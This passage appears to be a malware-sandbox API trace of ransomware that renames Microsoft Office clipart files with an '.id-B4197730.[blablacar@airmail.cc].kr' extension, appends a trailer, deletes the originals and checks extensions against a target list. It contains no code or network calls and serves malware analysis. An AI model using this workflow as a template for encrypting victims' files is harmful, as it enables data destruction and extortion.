(in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0107.912] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0107.913] SetEndOfFile (hFile=0x340) returned 1 [0107.913] CloseHandle (hObject=0x340) returned 1 [0107.915] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0107.915] SetEndOfFile (hFile=0x36c) returned 1 [0107.916] CloseHandle (hObject=0x36c) returned 1 [0107.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0107.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.919] lstrlenW (lpString=".doc") returned 4 [0107.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.919] lstrlenW (lpString=".docx") returned 5 [0107.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.919] lstrlenW (lpString=".pdf") returned 4 [0107.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.919] lstrlenW (lpString=".xls") returned 4 [0107.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.919] lstrlenW (lpString=".xlsx") returned 5 [0107.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.919] lstrlenW (lpString=".ppt") returned 4 [0107.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString=".zip") returned 4 [0107.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.920] lstrlenW (lpString=".rar") returned 4 [0107.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString=".bz2") returned 4 [0107.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString=".7z") returned 3 [0107.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString=".dbf") returned 4 [0107.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString=".1cd") returned 4 [0107.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString=".jpg") returned 4 [0107.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.920] lstrlenW (lpString=".doc") returned 4 [0107.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.920] lstrlenW (lpString=".docx") returned 5 [0107.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.921] lstrlenW (lpString=".pdf") returned 4 [0107.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString=".xls") returned 4 [0107.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.921] lstrlenW (lpString=".xlsx") returned 5 [0107.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.921] lstrlenW (lpString=".ppt") returned 4 [0107.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.921] lstrlenW (lpString=".zip") returned 4 [0107.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.921] lstrlenW (lpString=".rar") returned 4 [0107.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString=".bz2") returned 4 [0107.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString=".7z") returned 3 [0107.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.921] lstrlenW (lpString=".dbf") returned 4 [0107.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.921] lstrlenW (lpString=".1cd") returned 4 [0107.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0107.921] lstrlenW (lpString=".jpg") returned 4 [0107.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.922] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.922] lstrlenW (lpString="AN04267_.WMF") returned 12 [0107.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.584] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=7804) returned 1 [0108.585] CloseHandle (hObject=0x388) returned 1 [0108.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0108.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.592] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.593] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.628] GetLastError () returned 0x0 [0108.629] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0108.630] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1e80, lpOverlapped=0x0) returned 1 [0108.632] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0108.632] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0108.632] SetEndOfFile (hFile=0x364) returned 1 [0108.632] CloseHandle (hObject=0x364) returned 1 [0108.633] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.633] SetEndOfFile (hFile=0x388) returned 1 [0108.634] CloseHandle (hObject=0x388) returned 1 [0108.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0108.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.635] lstrlenW (lpString=".doc") returned 4 [0108.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.635] lstrlenW (lpString=".docx") returned 5 [0108.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.635] lstrlenW (lpString=".pdf") returned 4 [0108.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.635] lstrlenW (lpString=".xls") returned 4 [0108.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.635] lstrlenW (lpString=".xlsx") returned 5 [0108.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.635] lstrlenW (lpString=".ppt") returned 4 [0108.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString=".zip") returned 4 [0108.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.636] lstrlenW (lpString=".rar") returned 4 [0108.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString=".bz2") returned 4 [0108.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString=".7z") returned 3 [0108.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString=".dbf") returned 4 [0108.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString=".1cd") returned 4 [0108.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString=".jpg") returned 4 [0108.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.636] lstrlenW (lpString=".doc") returned 4 [0108.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.636] lstrlenW (lpString=".docx") returned 5 [0108.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.637] lstrlenW (lpString=".pdf") returned 4 [0108.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString=".xls") returned 4 [0108.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.637] lstrlenW (lpString=".xlsx") returned 5 [0108.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.637] lstrlenW (lpString=".ppt") returned 4 [0108.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.637] lstrlenW (lpString=".zip") returned 4 [0108.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.637] lstrlenW (lpString=".rar") returned 4 [0108.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString=".bz2") returned 4 [0108.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString=".7z") returned 3 [0108.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.637] lstrlenW (lpString=".dbf") returned 4 [0108.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.637] lstrlenW (lpString=".1cd") returned 4 [0108.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0108.637] lstrlenW (lpString=".jpg") returned 4 [0108.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.638] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.638] lstrlenW (lpString="BD00141_.WMF") returned 12 [0108.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.638] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=26886) returned 1 [0108.638] CloseHandle (hObject=0x388) returned 1 [0108.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0108.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.641] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.641] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.641] GetLastError () returned 0x0 [0108.641] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x6906, lpOverlapped=0x0) returned 1 [0108.644] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x6910, lpOverlapped=0x0) returned 1 [0108.645] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0108.645] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0108.645] SetEndOfFile (hFile=0x364) returned 1 [0108.646] CloseHandle (hObject=0x364) returned 1 [0108.647] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.648] SetEndOfFile (hFile=0x388) returned 1 [0108.649] CloseHandle (hObject=0x388) returned 1 [0108.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.650] lstrlenW (lpString=".doc") returned 4 [0108.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.650] lstrlenW (lpString=".docx") returned 5 [0108.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.650] lstrlenW (lpString=".pdf") returned 4 [0108.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.650] lstrlenW (lpString=".xls") returned 4 [0108.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.650] lstrlenW (lpString=".xlsx") returned 5 [0108.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.650] lstrlenW (lpString=".ppt") returned 4 [0108.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.650] lstrlenW (lpString=".zip") returned 4 [0108.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.650] lstrlenW (lpString=".rar") returned 4 [0108.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.650] lstrlenW (lpString=".bz2") returned 4 [0108.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.650] lstrlenW (lpString=".7z") returned 3 [0108.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.650] lstrlenW (lpString=".dbf") returned 4 [0108.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.651] lstrlenW (lpString=".1cd") returned 4 [0108.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.651] lstrlenW (lpString=".jpg") returned 4 [0108.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.651] lstrlenW (lpString=".doc") returned 4 [0108.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString=".docx") returned 5 [0108.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.651] lstrlenW (lpString=".pdf") returned 4 [0108.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString=".xls") returned 4 [0108.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.651] lstrlenW (lpString=".xlsx") returned 5 [0108.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.651] lstrlenW (lpString=".ppt") returned 4 [0108.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.651] lstrlenW (lpString=".zip") returned 4 [0108.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.651] lstrlenW (lpString=".rar") returned 4 [0108.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.652] lstrlenW (lpString=".bz2") returned 4 [0108.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.652] lstrlenW (lpString=".7z") returned 3 [0108.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.652] lstrlenW (lpString=".dbf") returned 4 [0108.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.652] lstrlenW (lpString=".1cd") returned 4 [0108.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0108.652] lstrlenW (lpString=".jpg") returned 4 [0108.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.652] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.652] lstrlenW (lpString="BD00146_.WMF") returned 12 [0108.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.653] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=28948) returned 1 [0108.653] CloseHandle (hObject=0x388) returned 1 [0108.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0108.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.653] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.653] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.654] GetLastError () returned 0x0 [0108.654] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x7114, lpOverlapped=0x0) returned 1 [0108.656] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x7120, lpOverlapped=0x0) returned 1 [0108.658] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0108.658] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 